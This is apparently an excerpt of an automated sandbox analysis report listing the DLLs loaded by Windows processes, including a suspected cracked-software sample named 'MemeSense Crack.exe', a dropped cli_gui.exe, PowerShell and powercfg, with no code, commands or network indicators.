Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vss_ps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wuapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wups.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: unistore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cli_gui.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ngcpopkeysrv.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pcpksp.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
